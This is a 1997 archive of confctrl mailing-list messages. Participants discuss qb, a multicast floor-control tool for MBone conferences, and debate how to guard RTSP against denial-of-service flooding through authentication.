> |> >- then why bother?  Multicast-based schemes that rely on all participants
> |> >behaving nicely aren't very practical (except in very constrained
> |> >environments), IMO.
> |> >
> |> 
> |> I disagree, virtually all of our real-world group interactions rely on
> |> people behaving nicely backed up by social, cultural and (if necessary)
> |> legal re-inforcement. Turn-taking in meetings depends on context and social
> |> mores NOT physically imposed gagging (usually ;-)...
> |
> |Carsten comments:
> |
> |The problem is that it's hard to be "nice" to each other in a
> |bandwidth-constrained, high-delay channel.  For instance, it is rare
> |that you will be as aware of, say, ten other conference participants'
> |facial expressions in a teleconference as you easily can be in a
> |physical meeting.  Subtle cues to what's nice and what's not get lost.
> |
> |Machine support for being "nice" (i.e., group organization) certainly
> |helps, if it can be made inobtrusive and easy to handle.  That
> |property, however, is not easy to achieve -- this may be one reason
> |many people who have tried floor control systems etc. dislike them.
> |
> |
> 
> 


From majordom@ISI.EDU  Wed Apr 23 03:23:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04596>; Wed, 23 Apr 1997 10:24:50 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04590>; Wed, 23 Apr 1997 10:24:48 -0700
Received: from alpha.Xerox.COM by venera.isi.edu (5.65c/5.61+local-26)
	id <AA02265>; Wed, 23 Apr 1997 10:24:46 -0700
Received: from Gabriel.Parc.Xerox.xns by alpha.xerox.com via XNS id <17157(12)>; Wed, 23 Apr 1997 10:24:15 PDT
X-Ns-Transport-Id: 0000AA00531150333679
Date: Wed, 23 Apr 1997 10:23:27 PDT
From: Dan_Swinehart.PARC@xerox.com
Subject: Re: qb - a new floor ctrl tool fro asking questions
In-Reply-To: <199704231602.JAA08121@woodstock.cs.berkeley.edu>
To: confctrl@isi.edu
Cc: swinehart@parc.xerox.com, Rowe@bmrc.berkeley.edu
Message-Id: <97Apr23.102415pdt."17157(12)"@alpha.xerox.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


When we have hosted such activities as connecting the MBone to PBS call-in
shows, it was common practice to require potential participants to contact
someone acting as a screener, or floor manager if you will, on a different
multicast group.  The screener would then queue people up and indicate when
each participant should join the actual show.

I'd expect this tool to do at least as good a job, with a lot less hassle, than
that lash-up.

Dan Swinehart



From majordom@ISI.EDU  Wed Apr 23 04:25:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08816>; Wed, 23 Apr 1997 11:25:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08809>; Wed, 23 Apr 1997 11:25:25 -0700
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA05560>; Wed, 23 Apr 1997 11:25:22 -0700
Received: (from radhika@localhost) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) id LAA08915; Wed, 23 Apr 1997 11:25:22 -0700 (PDT)
From: Radhika Malpani <radhika@CS.Berkeley.EDU>
Message-Id: <199704231825.LAA08915@woodstock.cs.berkeley.edu>
Subject: Re: qb - a new floor ctrl tool fro asking questions
To: fenner@parc.xerox.com (Bill Fenner)
Date: Wed, 23 Apr 1997 11:25:21 -0700 (PDT)
Cc: Rowe@bugs-bunny.CS.Berkeley.EDU, cabo@informatik.uni-bremen.de,
        confctrl@isi.edu, radhika@bugs-bunny.CS.Berkeley.EDU
In-Reply-To: <97Apr23.112136pdt.177486@crevenia.parc.xerox.com> from "Bill Fenner" at Apr 23, 97 11:21:35 am
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

qb does NOT use unicast -- it only uses multicast fro everything. Firewalls 
were one of the reasons in the consideration.

-Radhika

> 
> Larry Rowe <larry@cs.berkeley.edu> wrote:
> >So, give it a try and *ask* a question today.
> 
> Unfortunately, the fact that qb uses unicast to communicate with the
> moderator means that I can't use it because of my firewall.
> 
> I think it might be worth revisiting the protocol to see if there's
> a good way to use multicast for everything.
> 
>   Bill
> 
> 

------------------------------------------------------------------------
Radhika Malpani				radhika@CS.Berkeley.EDU
Berkeley Multimedia Research Center	http://www.cs.berkeley.edu/~radhika

From majordom@ISI.EDU  Wed Apr 23 04:31:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09299>; Wed, 23 Apr 1997 11:32:41 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09291>; Wed, 23 Apr 1997 11:32:38 -0700
Received: from alpha.Xerox.COM by venera.isi.edu (5.65c/5.61+local-26)
	id <AA05993>; Wed, 23 Apr 1997 11:32:36 -0700
Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <16930(11)>; Wed, 23 Apr 1997 11:32:15 PDT
Received: by crevenia.parc.xerox.com id <177486>; Wed, 23 Apr 1997 11:31:56 -0700
From: Bill Fenner <fenner@parc.xerox.com>
To: fenner@parc.xerox.com, radhika@cs.berkeley.edu
Subject: Re: qb - a new floor ctrl tool fro asking questions
Cc: Rowe@bugs-bunny.cs.berkeley.edu, cabo@informatik.uni-bremen.de,
        confctrl@isi.edu, radhika@bugs-bunny.cs.berkeley.edu
Message-Id: <97Apr23.113156pdt.177486@crevenia.parc.xerox.com>
Date: Wed, 23 Apr 1997 11:31:44 PDT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Oh, I was confused by the presence of a unicast address on the command
line.  Sorry for the false alarm.

  Bill

From majordom@ISI.EDU  Wed Apr 23 04:21:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09384>; Wed, 23 Apr 1997 11:33:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09354>; Wed, 23 Apr 1997 11:33:24 -0700
Received: from alpha.Xerox.COM by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06045>; Wed, 23 Apr 1997 11:33:21 -0700
Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <18640(15)>; Wed, 23 Apr 1997 11:21:45 PDT
Received: from localhost by crevenia.parc.xerox.com with SMTP id <177486>; Wed, 23 Apr 1997 11:21:36 -0700
To: Rowe@bmrc.berkeley.edu
Cc: Carsten Bormann <cabo@informatik.uni-bremen.de>, confctrl@isi.edu,
        radhika@woodstock.cs.berkeley.edu
Subject: Re: qb - a new floor ctrl tool fro asking questions 
In-Reply-To: Your message of "Wed, 23 Apr 97 09:02:13 PDT."
             <199704231602.JAA08121@woodstock.cs.berkeley.edu> 
Date: Wed, 23 Apr 1997 11:21:35 PDT
From: Bill Fenner <fenner@parc.xerox.com>
Message-Id: <97Apr23.112136pdt.177486@crevenia.parc.xerox.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Larry Rowe <larry@cs.berkeley.edu> wrote:
>So, give it a try and *ask* a question today.

Unfortunately, the fact that qb uses unicast to communicate with the
moderator means that I can't use it because of my firewall.

I think it might be worth revisiting the protocol to see if there's
a good way to use multicast for everything.

  Bill

From majordom@ISI.EDU  Wed Apr 23 04:40:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10013>; Wed, 23 Apr 1997 11:40:30 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09996>; Wed, 23 Apr 1997 11:40:27 -0700
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06409>; Wed, 23 Apr 1997 11:40:21 -0700
Received: (from radhika@localhost) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) id LAA08949; Wed, 23 Apr 1997 11:40:20 -0700 (PDT)
From: Radhika Malpani <radhika@cs.berkeley.edu>
Message-Id: <199704231840.LAA08949@woodstock.cs.berkeley.edu>
Subject: Re: qb - a new floor ctrl tool fro asking questions
To: fenner@parc.xerox.com (Bill Fenner)
Date: Wed, 23 Apr 1997 11:40:20 -0700 (PDT)
Cc: fenner@parc.xerox.com, radhika@cs.berkeley.edu,
        Rowe@bugs-bunny.CS.Berkeley.EDU, cabo@informatik.uni-bremen.de,
        confctrl@isi.edu, radhika@bugs-bunny.CS.Berkeley.EDU
In-Reply-To: <97Apr23.113156pdt.177486@crevenia.parc.xerox.com> from "Bill Fenner" at Apr 23, 97 11:31:44 am
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

the unicast address is just to enable qbs to check that floor grant directives 
are "really" from the moderator. (ignoring ip spoofing).

-radhika
> 
> Oh, I was confused by the presence of a unicast address on the command
> line.  Sorry for the false alarm.
> 
>   Bill
> 
> 


From majordom@ISI.EDU  Wed Apr 23 11:38:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13476>; Wed, 23 Apr 1997 12:39:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13459>; Wed, 23 Apr 1997 12:38:38 -0700
Received: from relay5.UU.NET by venera.isi.edu (5.65c/5.61+local-26)
	id <AA09336>; Wed, 23 Apr 1997 12:38:36 -0700
Received: from rodan.UU.NET by relay5.UU.NET with ESMTP 
	(peer crosschecked as: rodan.UU.NET [153.39.130.10])
	id QQcmoc08622; Wed, 23 Apr 1997 15:38:39 -0400 (EDT)
Received: from sayshell.UU.NET by rodan.UU.NET with SMTP 
	(peer crosschecked as: sayshell.UU.NET [153.39.251.30])
	id QQcmoc18044; Wed, 23 Apr 1997 15:38:24 -0400 (EDT)
Message-Id: <QQcmoc18044.199704231938@rodan.UU.NET>
X-Mailer: exmh version 2.0gamma 1/27/96
To: Dan_Swinehart.PARC@xerox.com
Cc: confctrl@isi.edu, swinehart@parc.xerox.com, Rowe@bmrc.berkeley.edu
From: "Louis A. Mamakos" <louie@uu.net>
Subject: Re: qb - a new floor ctrl tool fro asking questions 
References: <97Apr23.102415pdt."17157(12)"@alpha.xerox.com> 
In-Reply-To: Your message of "Wed, 23 Apr 1997 10:23:27 PDT."
             <97Apr23.102415pdt."17157(12)"@alpha.xerox.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 23 Apr 1997 15:38:24 -0400
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Why wouldn't a unicast stream to the conference-coordinator be the right
thing in this environment?  For large audiences, you've probably already
arranged for the propagation from the conference source to be robust and
well engineered.  In this way, there would be no opportunity for, er, 
uninvited comments from individual to go out to the rest of the conference
participants.

The screener/moderator could also mix other audio/video sources with the
new participant before having it transmitted to the multicast infrastructure.

Louis Mamakos



From majordom@ISI.EDU  Wed Apr 23 06:30:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20333>; Wed, 23 Apr 1997 14:31:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20326>; Wed, 23 Apr 1997 14:31:24 -0700
Received: from mail.boxtop.com (dazed.boxtop.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16233>; Wed, 23 Apr 1997 14:31:22 -0700
Received: (qmail 10839 invoked from network); 23 Apr 1997 21:31:20 -0000
Received: from astatine.boxtop.com (HELO ?204.80.124.85?) (204.80.124.85)
  by dazed.boxtop.com with SMTP; 23 Apr 1997 21:31:20 -0000
X-Sender: tdorcey@mail.boxtop.com
Message-Id: <v02130503af843825f470@[204.80.124.85]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 23 Apr 1997 14:30:32 -0800
To: Ben Anderson <ben.anderson@bt-sys.bt.co.uk>
From: tim@boxtop.com (Tim Dorcey)
Subject: Re: qb - a new floor ctrl tool fro asking questions
Cc: confctrl@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 10:18 AM 4/23/97, Ben Anderson wrote:
>I disagree, virtually all of our real-world group interactions rely on
>people behaving nicely backed up by social, cultural and (if necessary)
>legal re-inforcement. Turn-taking in meetings depends on context and social
>mores NOT physically imposed gagging (usually ;-)...
>
>IMO one of the great things about the MBONE tools as currently used is that
>we have been able to use them to support a range of group communication
>contexts without the need for any technically imposed 'turn-taking'. I take
>this as a demonstration that social regulation (ie assuming that people
>will behave nicely) can work across a range of environments.

I agree.  From my experience, you want a system which can insure that a
conference will work well only when participants are cooperative, but which
can prevent catastrophe when they are not.  Systems which try to enforce
reasonable behavior through technical controls are likely to be too
cumbersome.  On the other hand, you do need a way to censor the occassional
bad apple, though the mechanism needn't be especially convenient.

In that regard, what are existing mechanisms to prevent unwanted
contributions to multicast distributions?  When will source-specific
pruning be routinely available?

Tim




From majordom@ISI.EDU  Wed Apr 23 07:40:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20800>; Wed, 23 Apr 1997 14:40:26 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20793>; Wed, 23 Apr 1997 14:40:24 -0700
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA17441>; Wed, 23 Apr 1997 14:40:24 -0700
Received: (from radhika@localhost) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) id OAA09036; Wed, 23 Apr 1997 14:40:36 -0700 (PDT)
From: Radhika Malpani <radhika@CS.Berkeley.EDU>
Message-Id: <199704232140.OAA09036@woodstock.cs.berkeley.edu>
Subject: Re: qb - a new floor ctrl tool fro asking questions
To: louie@uu.net (Louis A. Mamakos)
Date: Wed, 23 Apr 1997 14:40:35 -0700 (PDT)
Cc: Dan_Swinehart.PARC@xerox.com, confctrl@ISI.EDU, swinehart@parc.xerox.com,
        Rowe@bugs-bunny.CS.Berkeley.EDU
Reply-To: radhika@CS.Berkeley.EDU
In-Reply-To: <QQcmoc18044.199704231938@rodan.UU.NET> from "Louis A. Mamakos" at Apr 23, 97 03:38:24 pm
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> 
> 
> Why wouldn't a unicast stream to the conference-coordinator be the right
> thing in this environment?  For large audiences, you've probably already
> arranged for the propagation from the conference source to be robust and
> well engineered.  In this way, there would be no opportunity for, er, 
> uninvited comments from individual to go out to the rest of the conference
> participants.
> 
> The screener/moderator could also mix other audio/video sources with the
> new participant before having it transmitted to the multicast infrastructure.
> 
> Louis Mamakos
> 
> 
> 
Couple of reasons for using multicast to the moderator:
1) There are several sites behind firewalls configured to only pass
multicast packets
2) multicasting to the moderator makes the protocol more flexible allowing
extensions to multiple moderators and dynamically changing moderators which
might be required for other floor control policies.

Radhika

------------------------------------------------------------------------
Radhika Malpani				radhika@CS.Berkeley.EDU
Berkeley Multimedia Research Center	http://www.cs.berkeley.edu/~radhika


From majordom@ISI.EDU  Wed Apr 23 09:19:36 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28215>; Wed, 23 Apr 1997 16:42:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28206>; Wed, 23 Apr 1997 16:42:53 -0700
Received: from proxy2.ba.best.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25533>; Wed, 23 Apr 1997 16:42:52 -0700
Received: from mg139-064.ricochet.net (mg139-064.ricochet.net [204.179.139.64]) by proxy2.ba.best.com (8.8.5/8.8.3) with SMTP id QAA21419; Wed, 23 Apr 1997 16:19:36 -0700 (PDT)
Date: Wed, 23 Apr 1997 16:19:36 -0700 (PDT)
Message-Id: <1.5.4.16.19970423160200.40e7eee2@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Radhika Malpani <radhika@CS.Berkeley.EDU>
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: qb - a new floor ctrl tool fro asking questions
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 07:13 AM 4/23/97 -0700, Radhika Malpani wrote:
>Qb does send the grant-floor directive to vic & vat using the conference bus
>mechanism.

This reminds me:

Where is the 'conference bus' documented/described?  It's some sort of
multicast-based intra-node (TTL 0?) command protocol, right?  Even if it's
always used internally within a client machine (so, is not a true 'network'
protocol), it would still be a good thing to define properly and standardize
(informally, at the very least), so that lots of different a/v tools could
use it.

        Ross.


From majordom@ISI.EDU  Wed Apr 23 08:28:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29581>; Wed, 23 Apr 1997 17:01:23 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29562>; Wed, 23 Apr 1997 17:01:09 -0700
Received: from INET-05-IMC.microsoft.com (mail5.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA26505>; Wed, 23 Apr 1997 17:01:08 -0700
Received: by INET-05-IMC with Internet Mail Service (5.0.1458.14)
	id <J38ZVT8G>; Wed, 23 Apr 1997 17:01:27 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18032F74B2@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Anup Rao' <anup@netscape.com>, Sampo Syreeni <decoy@edu.lahti.fi>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: RE: RTSP denial-of-service attacks: never mind
Date: Wed, 23 Apr 1997 15:28:42 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.14)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

There seems to be general concurrence that this is a serious concern and
that the proper solution is to require authentication. What isn't clear
to me is how the RTSP community wishes to respond to this. Two obvious
possibilities are:

1) to purposefully not add this capability to RTSP until/unless an
authentication mechanism is defined for it.

2) to add this capability to RTSP but to do so with warning messages
that it probably shouldn't be implemented until such a time as an
authentication mechanism is defined.

Does this summary represent the consensus of our community? 
Which alternative does the community feel is preferential?

My 2 cents worth: The only problem I have with alternative 2 is that I
fear that it may not result in the same authentication method being used
by all RTSP implementations. Thus, interoperability within this feature
may be a function of the authentication method(s) eventually being
identified within an official version of RTSP anyway. This may mean that
alternative 1 is what needs to happen regardless.

> -----Original Message-----
> From:	Anup Rao [SMTP:anup@netscape.com]
> Sent:	Wednesday, April 23, 1997 10:06 AM
> To:	Sampo Syreeni
> Cc:	Henning Schulzrinne; confctrl@ISI.EDU
> Subject:	Re: RTSP denial-of-service attacks: never mind
> 
> Sampo Syreeni wrote:
> 
> > ...at 100Mbps to someone on the other side of the globe with a
> networks
> > operator that charges immense sums on incoming traffic. The user
> decides
> > not to accept the data, but cannot stop the stream as he doesn't
> possess
> > the appropriate session ID. The costs go up, the user goes bankrupt
> and
> > ends up as an alcoholic at the park bench, dying poor and unknown at
> some
> > later point in future.
> > 
> > No possibilities for third party flooding, thank you. ;)
> > 
> > Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>
> 
> This is an issue that has been talked about quite a bit, including the
> seemingly  *DIIIIIIIRRRRRRRRE*  consequences.  Lets step back a bit
> and
> look at points from Henning's previous message:
> 
> a) Such an  attack is also possible by spoofing the source address of
> a
> UDP control message. Therefore, there is no additional significant
> security burden  imposed.
> 
> b) The correct means to prevent this is to *authenticate*. 
> 
> There is nothing to preclude the server from refusing to send data to
> a
> destination(that is not the source of control messages) ie. either
> request authentication or refuse altogether. Or support only control
> messages over TCP, possibly with SSL. This way, it would not
> contribute
> to any byterrorism.
> 
> -- 
> -----------------------------------------------------------------
>   Anup Rao                                                      
>   Netscape Communications Corp.                   
>   email : anup@netscape.com         Phone : (415) 937 3129       
> -----------------------------------------------------------------

From majordom@ISI.EDU  Wed Apr 23 16:29:31 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01891>; Wed, 23 Apr 1997 17:29:39 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01878>; Wed, 23 Apr 1997 17:29:37 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA28005>; Wed, 23 Apr 1997 17:29:35 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA25801; Wed, 23 Apr 1997 20:29:33 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id UAA22270; Wed, 23 Apr 1997 20:29:32 -0400 (EDT)
Message-Id: <335EA96B.3AED@cs.columbia.edu>
Date: Wed, 23 Apr 1997 20:29:31 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP denial-of-service attacks: never mind
References: <503A2A3C2932CF118D8800805FD44E18032F74B2@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> There seems to be general concurrence that this is a serious concern and
> that the proper solution is to require authentication. What isn't clear
> to me is how the RTSP community wishes to respond to this. Two obvious
> possibilities are:
> 
> 1) to purposefully not add this capability to RTSP until/unless an
> authentication mechanism is defined for it.

Certainly, in some environments (intranets), this seems overly
conservative. Plus, it's needed (or at least very useful) for multicast
destinations and all it takes is one marketing guy saying that a
customer wants it for unicast and some server will implement it...

> 
> 2) to add this capability to RTSP but to do so with warning messages
> that it probably shouldn't be implemented until such a time as an
> authentication mechanism is defined.

RTSP inherits two authentication mechanisms from HTTP: Basic and Digest.
It may also use SSL for client and server authentication; just added the
URL type rtsps:// for RTSP over SSL to the draft (before I forget...).
Servers SHOULD support Basic and Digest authentication (i.e., they are
only conditionally compliant if they do not).

> 
> Does this summary represent the consensus of our community?
> Which alternative does the community feel is preferential?
>

From majordom@ISI.EDU  Thu Apr 24 10:04:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12016>; Thu, 24 Apr 1997 01:06:05 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12010>; Thu, 24 Apr 1997 01:05:53 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA09212>; Thu, 24 Apr 1997 01:05:51 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04435-0@bells.cs.ucl.ac.uk>; Thu, 24 Apr 1997 09:04:45 +0100
To: "Louis A. Mamakos" <louie@uu.net>
Cc: Dan_Swinehart.PARC@xerox.com, confctrl@ISI.EDU, swinehart@parc.xerox.com,
        Rowe@bmrc.berkeley.edu
Subject: Re: qb - a new floor ctrl tool fro asking questions
In-Reply-To: Your message of "Wed, 23 Apr 1997 15:38:24 EDT." <QQcmoc18044.199704231938@rodan.UU.NET>
Date: Thu, 24 Apr 1997 09:04:44 +0100
Message-Id: <942.861869084@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 >Why wouldn't a unicast stream to the conference-coordinator be the right
 >thing in this environment?  For large audiences, you've probably already
 >arranged for the propagation from the conference source to be robust and
 >well engineered.  In this way, there would be no opportunity for, er, 
 >uninvited comments from individual to go out to the rest of the conference
 >participants.
 
 >The screener/moderator could also mix other audio/video sources with the
 >new participant before having it transmitted to the multicast infrastructure.

Louis 

well, we wrote a floor control application with our CCCP protocol
(uses local conf bus to actually control apps same as qb, but uses
CCCP (sigcomm 95 paper decsribes this)

this uses multicast, beacause we modeled floor contropl with a simple
finte state machine (idle, requesting, holder) - we multicast the
request and build a "sort of FIFO multicast" channel out of CCCP, so that
requests arrive at all participants (at least all listening on the
floor control channel!), ordered by who sent them first (approx), but
don't stop someone moving from sending a requerst and changing state
from idle to requersting  - the requersts are all queued at ALL
participants, and the one who currently has the floor simple responds
(to all) to say who gets it next - this minimizes latency......and is
real simple to implement......and is fair (modulo how FIFO our channel
is - we don;t make allowqances for different transit dfelays so in
principle, just as DQDB is unfair to people at the ends of a long dual
bus, our scheme is potnetially unfair to distant floor
requestors....we could run NTP and actually order reqursts in time, i
spose.....and limit the delivery of messages to the floor control
application until the worst case 1 way delivery delay (assuming no
loss - if you try and make the fifo channel reliable _underneat_ the
application, you get  into a  whole can of worms - we assume people
just _ask again_.....if they don't see an eventual response....

["orphan" state for requestors at participants who never had the floor
so can't grant it, created by messages which were not delivered to an
eventual floor holder simply pruned at receiver by the grant messages
for a _later_ request, so the whole system makes progress, but can
lead to unfairness for people on lossy links....or in some really
pathological setup with two people trading the floor too and fro while
a lot of other people behind some lossy interconnect aren't able to
get a request noticed....)

unfortunately, CCCP is fairly flakey (i messed up isidor kouvelas'
original implementation in a port, and it didn't really survive) so
the code is fairly gothic.......so lets see how Qb is.....

cheers

 jon


From majordom@ISI.EDU  Thu Apr 24 16:48:54 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15652>; Thu, 24 Apr 1997 03:50:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15646>; Thu, 24 Apr 1997 03:50:53 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15220>; Thu, 24 Apr 1997 03:50:48 -0700
Received: (qmail 16298 invoked by uid 1067); 24 Apr 1997 10:48:54 -0000
Date: Thu, 24 Apr 1997 13:48:54 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: 'Anup Rao' <anup@netscape.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: RE: RTSP denial-of-service attacks: never mind
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18032F74B2@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.LNX.3.95.970424134457.16157A-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 23 Apr 1997, Eric Fleischman wrote:

>There seems to be general concurrence that this is a serious concern and
>that the proper solution is to require authentication. What isn't clear
>to me is how the RTSP community wishes to respond to this. Two obvious
>possibilities are:
>
>1) to purposefully not add this capability to RTSP until/unless an
>authentication mechanism is defined for it.

So do you suggest a dedicated authentication mechanism for RTSP? It might
be that a general purpose authentication protocol could be a better
candidate. For the sake of modularity and orthogonality in the overall
protocol suite, maybe the authentication part should be left for the
server and the potential receiver to do, out of band. (I'm not an expert
on the current state of authentication protocols but they're bound to be
out there. I also remember that this has been suggested already. So I
support it.)

>My 2 cents worth: The only problem I have with alternative 2 is that I
>fear that it may not result in the same authentication method being used
>by all RTSP implementations.

Yep. It's bargaining with the devil...

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Thu Apr 24 16:54:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15722>; Thu, 24 Apr 1997 03:56:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15715>; Thu, 24 Apr 1997 03:56:33 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15328>; Thu, 24 Apr 1997 03:56:26 -0700
Received: (qmail 16320 invoked by uid 1067); 24 Apr 1997 10:54:50 -0000
Date: Thu, 24 Apr 1997 13:54:50 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Anup Rao <anup@netscape.com>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: RTSP denial-of-service attacks: never mind
In-Reply-To: <335E4191.42F3@netscape.com>
Message-Id: <Pine.LNX.3.95.970424134947.16157B-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 23 Apr 1997, Anup Rao wrote:

>> No possibilities for third party flooding, thank you. ;)
>
>This is an issue that has been talked about quite a bit, including the
>seemingly  *DIIIIIIIRRRRRRRRE*  consequences.  Lets step back a bit and
>look at points from Henning's previous message:
>
>a) Such an  attack is also possible by spoofing the source address of a
>UDP control message. Therefore, there is no additional significant
>security burden  imposed.

Known.

>b) The correct means to prevent this is to *authenticate*. 
>
>There is nothing to preclude the server from refusing to send data to a
>destination(that is not the source of control messages) ie. either
>request authentication or refuse altogether.

Agreed. Separate, well engineered, general authentication protocols would
be the ideal solution. And of course, the server can, as you say, always
refuse to send data to a destination that cannot authenticate itself.

>Or support only control messages over TCP, possibly with SSL. This way,
>it would not contribute to any byterrorism.

That is something I don't agree with. In many cases, especially when
working over LANs, it is highly desirable that one be able to use UDP
instead of TCP for the control messages. So one shouldn't impose such
limitations on the control transport. Furthermore, regarding your
suggestion of using SSL, I think SSL is proprietary enough not to be
referrred to in an open standard like RTSP.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Thu Apr 24 04:03:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
